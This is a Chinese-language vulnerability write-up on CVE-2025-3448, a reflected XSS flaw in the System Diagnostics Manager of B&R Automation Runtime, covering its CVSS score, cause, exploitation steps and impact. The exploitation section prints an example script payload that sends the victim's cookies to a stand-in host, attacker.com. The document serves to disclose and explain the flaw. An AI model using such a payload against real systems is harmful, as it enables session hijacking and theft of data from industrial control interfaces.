CVE-2025-3448CVE-2025-3448是B&R Automation Runtime产品中System Diagnostics Manager(SDM,系统诊断管理器)组件存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞由ABB集团网络安全团队([email protected])发现并报告,于2025年10月7日正式披露。B&R Automation Runtime是B&R工业自动化公司(现为ABB集团成员)开发的工业自动化控制软件,广泛应用于工业控制系统中,用于管理和诊断自动化设备的运行状态。
该漏洞影响Automation Runtime 6.4之前的所有版本。攻击者可以通过构造恶意的URL或请求参数,利用SDM组件未对用户输入进行充分过滤和转义的缺陷,将恶意JavaScript代码注入到响应页面中。当受害者在浏览器中点击或访问该恶意链接时,嵌入的JavaScript代码将在受害者浏览器会话上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击或进一步的攻击活动。
根据CVSS 3.1评分标准,该漏洞评分为6.1分,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R)。由于漏洞会影响其他组件(S:C),机密性和完整性影响均为低(C:L/I:L),可用性影响为无(A:N)。该漏洞的利用需要受害者主动点击恶意链接,属于典型的钓鱼攻击场景。
CVE-2025-3448是一个反射型XSS漏洞,存在于B&R Automation Runtime的System Diagnostics Manager(SDM)Web界面中。
**漏洞原理:**
反射型XSS漏洞的核心在于Web应用程序未对用户输入进行充分的验证和HTML编码。当用户通过HTTP请求(如URL参数、表单数据)提交数据时,SDM组件直接将未经转义的输入数据嵌入到HTTP响应页面中返回给浏览器。攻击者可以精心构造包含恶意JavaScript代码的URL,当受害者在已登录SDM的状态下点击该链接时,浏览器会执行嵌入的恶意脚本。
**利用方式:**
1. 攻击者构造一个包含恶意JavaScript代码的URL,该URL指向存在漏洞的SDM页面
2. 恶意代码通常嵌入在URL参数中,如:`https://target-sdm-server/diagnostic?param=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`
3. 攻击者通过钓鱼邮件、即时消息等方式诱导受害者点击该链接
4. 受害者点击链接后,恶意JavaScript代码在其浏览器中以SDM站点的上下文执行
5. 攻击者可以窃取会话Cookie、获取敏感信息、进行钓鱼操作或执行其他恶意行为
**攻击影响:**
- 窃取用户会话令牌,实现会话劫持
- 访问和修改用户在SDM中的配置信息
- 获取工业控制系统的诊断数据
- 进行进一步的网络钓鱼或社会工程攻击
- 在某些情况下可能导致对工业控制系统的未授权访问